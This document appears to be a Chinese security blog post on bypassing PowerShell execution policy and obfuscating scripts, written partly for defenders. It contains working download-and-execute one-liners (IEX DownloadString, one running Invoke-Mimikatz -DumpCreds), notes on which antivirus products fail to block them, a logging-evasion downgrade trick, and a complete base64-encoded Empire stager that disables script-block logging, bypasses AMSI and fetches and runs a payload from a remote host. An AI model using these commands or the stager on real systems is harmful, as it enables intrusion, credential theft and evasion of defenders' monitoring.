Powershell绕过执行及脚本混淆

2018-08-08 15:38:02 浏览数 (1)

为什么需要 powershell ?存在必然合理。微软的服务器操作系统因为缺乏一个强大的 Shell 备受诟病。而与之相对,Linux 的 Shell 可谓丰富并且强大。

Windows Server 的 Shell,也就是从 Dos 继承过来的命令行,处理简单问题尚可,一旦遇到稍微复杂一点的问题,它就会把本已复杂的问题,弄得更加复杂。

引入 VBScript,使得 WindowsServer 管理员处理问题的效率提高了不少。但 VBScript 是个脚本语言,即缺乏 Shell 的简单性,也不能利用高级语言的诸多优点。这使得微软迫切需要一个强大的 Shell 来管理服务器,甚至整个网络。在这种前提下,PowerShell 诞生了。

Powershell && cmd

powershell 和 cmd 有许多相同的命令,但是 powershell 并不是 cmd 的增强型,powershell 和 cmd 对同一个命令的解读可能完全不同,比如:

fc 在 cmd 中,fc 应该输出对应文件夹的子文件夹信息,而在 powershell 中,fc 的全称是 Format-Custom,一个有关格式化输出的命令。

所以我么你可以看见,powershell 并不能执行 cmd 中的全部命令。

powershell 不能执行任何 cmd 命令,准确来说,至少是不能直接执行。

Powershell 可以作为一个应用程序在 cmd 中执行,cmd 也可以在 Powershell 中执行。

为什么 powershell 能够执行 cmd 命令?

其实并不是执行 cmd 的命令,powershell 利用 Alias 这个特性,可以让使用者以 cmd 风格使用 powershell。

这样方便初学者在刚接触时像使用 cmd 那样亲切。

你可以使用 get-Alias 来获得相关信息,比如 get-Alias cd 回显会告诉你在 powershell 中真正调用的命令是什么。

看到这应该很明显了吧,powershell 和 cmd 完全是两个东西,他们的外表相似性来自"友善"的 Alias。

Powershell 能干什么?

1、与文件系统交互,运行应用程序

2、创建及运行脚本( .ps1 )

和其他脚本语言一样,支持将命令列表编写成脚本,但是一个 .ps1 文件默认是以记事本打开,而非 powershell 执行(这和 powershell 的执行策略有关,默认执行策略是 Restricted 限制的,除了 Windows Server12 R2 是 RemoteSigned-远程签名),

由于默认是 Restricted,所以我们在命令执行 .ps1 脚本时会提示无法执行,所以请运行以下命令修改策略:

set-executionpolicy -executionpolicy RemoteSigned

将执行策略修改为远程签名,即本地脚本可以运行,远程脚本必须拥有合法签名才可以执行,如果执行失败请以管理员权限运命令。

我们搞安全的还可以使用 powershell 脚本执行一些奇奇怪怪的操作.......利用 .Net 类型和 Dom 对象。

能够利用 .Net 类型和 COM 对象是 PowerShell 的最大特点,这让 PowerShell 能够最大限度的利用现有资源,创建了 .Net 类型和 Dom 对象后可以使用这些对象的属性及方法

多种方式绕过执行策略

1.管道

最常见的 bypass 执行策略,通过管道方式将脚本内容插入到 powershell.exe 的标准输入内,这种方法不会改变配置但要求写入磁盘:

Type helloword.ps1 |powershell.exe -NoP -

-noprofile 简写 -NoP, 为不加载 windows poweshell 配置文件

你也可以从网络上下载脚本并执行,这样就不会写入磁盘和修改配置文件

powershell -nop -c "iex(New-Object Net.WebClient).DowndloadString('url')"

iexInvoke-Expression 允许用户计算和运行动态生成的命令,输出命令的执行结果。

(New-Object Net.WebClient).DownloadString 是最为常见的远程下载方法

Invoke-WebRequest,BitsTransfer, Net.Sockets.TCPClient 也都能执行类似的功能。

2. -Exec bypass

使用 powershell 策略中的 bypass 策略,这种方法不会改变配置或者要求写入磁盘,并且不会有任何的警告或提示,如果你使用 Unrestricted,在运行网上下载的未被签名的脚本时会有警告。

powershell.exe -ExecutionPolicy bypass -File helloworld.ps1

-exec bypass 忽略执行策略文件,-File 指定文件。

3. Encode

使用加密方式绕过,首先需要将命令 Unicode 加密,再 base64 加密即可,命令如下:

$commond ="write-host 'my name is mntn'" $bytes = [System.Text.Encoding]::Unicode.GetBytes(commond) $encodeCommand = [Convert]::ToBase64String($bytes) $encodeCommand dwByAGkAdABlAC0AaABvAHMAdAAgACcAbQB5ACAAbgBhAG0AZQAgAGkAcwAgAG0AbgB0AG4AJwA=

powershell -Enc dwByAGkAdABlAC0AaABvAHMAdAAgACcAbQB5ACAAbgBhAG0AZQAgAGkAcwAgAG0AbgB0AG4AJwA= my name is mntn

这种方式也不会修改配置文件或者要求写入磁盘

4. 指定版本参数不记录参数

指定版本参数,使得攻击者可以降低 powershell 到一个旧版本,新版本如 -version 2.0 是可以记录操作的。

5.PSConsole:

使用 PSConsole 指定 powershell 控制文件

powershell 脚本分析

几个较为常用的执行脚本的语句:

1、本地绕过执行策略执行脚本

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

win7 环境下测试,腾讯管家未拦截、360 未拦截,win10 环境下火绒未拦截

2、本地绕过执行策略并隐藏执行窗口

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1`

win7 环境下测试,腾讯管家未拦截、360 未拦截,win10 环境下火绒未拦截

3、远程下载脚本并绕过执行策略执行

powershell "IEX (New-Object Net.WebClient).DownloadString('http://example/file.ps1'); Invoke-Mimikatz -DumpCreds"`

win7 环境下测试,腾讯管家未拦截、360 报毒拦截、win10 环境下火绒未拦截

4、远程下载脚本执行

powershell "IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)"

win7 环境下测试,腾讯管家未拦截、360 报毒拦截、win10 下火绒未拦截

下面这份脚本是 Empire 生成的脚本,我们通过分析这份脚本来展示一些常用的混淆方法

powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAUwBJAE8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBJAG8AbgAuAE0AQQBqAG8AcgAgAC0ARwBFACAAMwApAHsAJABHAFAAUwA9AFsAcgBlAGYAXQAuAEEAcwBzAEUAbQBCAGwAWQAuAEcARQB0AFQAWQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAGkARQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBFAHQAVgBhAEwAVQBFACgAJABuAFUAbABsACkAOwBJAGYAKAAkAEcAUABTAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAA7ACQARwBQAFMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0ARQBMAHMAZQB7AFsAUwBjAHIASQBQAFQAQgBMAG8AQwBrAF0ALgAiAEcAZQB0AEYASQBlAGAAbABkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEATAB1AGUAKAAkAG4AVQBsAEwALAAoAE4AZQB3AC0ATwBCAEoAZQBjAHQAIABDAG8ATABsAEUAQwBUAGkATwBOAHMALgBHAEUAbgBFAHIASQBDAC4ASABBAHMASABTAGUAdABbAFMAVAByAGkAbgBnAF0AKQApAH0AWwBSAGUARgBdAC4AQQBTAHMAZQBNAGIAbAB5AC4ARwBFAFQAVABZAFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAdABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBMAFUAZQAoACQAbgBVAEwATAAsACQAdAByAFUARQApAH0AOwB9ADsAWwBTAFkAUwB0AGUATQAuAE4AZQBUAC4AUwBFAFIAdgBJAEMARQBQAG8AaQBOAFQATQBhAG4AYQBnAEUAcgBdADoAOgBFAHgAUABFAEMAVAAxADAAMABDAG8AbgB0AEkAbgB1AGUAPQAwADsAJAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwBUACAAUwB5AFMAdABlAG0ALgBOAEUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAdwBjAC4ASABFAGEAZABFAHIAUwAuAEEARABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUABSAE8AWAB5AD0AWwBTAHkAcwB0AEUAbQAuAE4AZQBUAC4AVwBFAGIAUgBFAHEAVQBFAHMAVABdADoAOgBEAEUARgBhAHUAbABUAFcARQBiAFAAcgBvAHgAWQA7ACQAVwBDAC4AUABSAE8AWAB5AC4AQwBSAEUARABlAE4AVABpAEEATABzACAAPQAgAFsAUwBZAHMAdABFAG0ALgBOAEUAdAAuAEMAcgBFAEQARQBOAHQAaQBhAEwAQwBhAGMAaABFAF0AOgA6AEQAZQBGAEEAVQBsAFQATgBFAHQAdwBvAFIAawBDAFIARQBEAEUATgBUAGkAYQBsAFMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwB0AEUAbQAuAFQAZQBYAFQALgBFAG4AQwBPAEQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAQgB5AFQARQBzACgAJwBbAGUANgB6ADIAIQBwAGIAVAByADcANQBzAEUAKAAzAFAASABTAHkAWABeAGMAewBhAG4APABGAF8AaABAACsAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBHAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AYgBYAE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAzADMALgAxADMAOQA6ADQANAA0ADQAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAFIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABmAHcAKwBLADMAZQBDAFkAegAwAEUAZwBVAGcATgBXADEAOABCAEYAWQBQAHYAYgBMAFEAPQAiACkAOwAkAGQAYQB0AEEAPQAkAFcAQwAuAEQAbwBXAE4AbABPAEEARABEAEEAVABBACgAJABTAGUAUgArACQAVAApADsAJABpAHYAPQAkAGQAQQBUAEEAWwAwAC4ALgAzAF0AOwAkAGQAYQB0AGEAPQAkAGQAQQB0AGEAWwA0AC4ALgAkAGQAYQBUAGEALgBsAEUAbgBnAHQAaABdADsALQBqAE8ASQBuAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

从开头就可以看到它在绕过执行策略时使用了 -nop 不加载 powershell 配置文件,-w 隐藏窗口(执行该命令后会直接隐藏命令行窗口),-sta 使用 sta 模式创建 GUI 界面,-enc base64 加密绕过,使用如下命令还原脚本

$DecodeText=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodeText))

该攻击脚本可以大致分为4个部分:

1、禁用日志记录,防止我们的脚本运行留下记录

2、建立了一个 webclient,用于下载

3、将要被执行的代码块赋值给 $R

4、从网上下载数据,将其与 $R scriptblock 的输出结合

首先我们可以看到脚本中大量使用了:

1、大小写混用的混淆方式

2、使用了 号来连接关键字,此外常用的还有 ^ 符号混淆 cmd 命令行

3、管道连接

4、WebClient 是最为常见的下载方式,它包含了 DownloadFile 方法远程下载文件,和 Download-String 方法下载数据到内存中的缓冲区,减少了数据落地内存留下痕迹的可能。

总结

混淆 powershell 的方式很多,Daniel BohannonDerbycon 2016 对混淆方法进行了精彩的讨论,观看地址:

https://www.youtube.com/watch?v=P1lkflnWb0I

他写了一个混淆模块 Invoke-Obfuscation, 这些方法的大多数都是自动化的,大家可以去看看。

知攻焉知防,既然了解了 powershell 最基础的攻击方法,那么了解如何检测 powershell 攻击活动也是必不可少的:如何检测powershell攻击活动

0 人点赞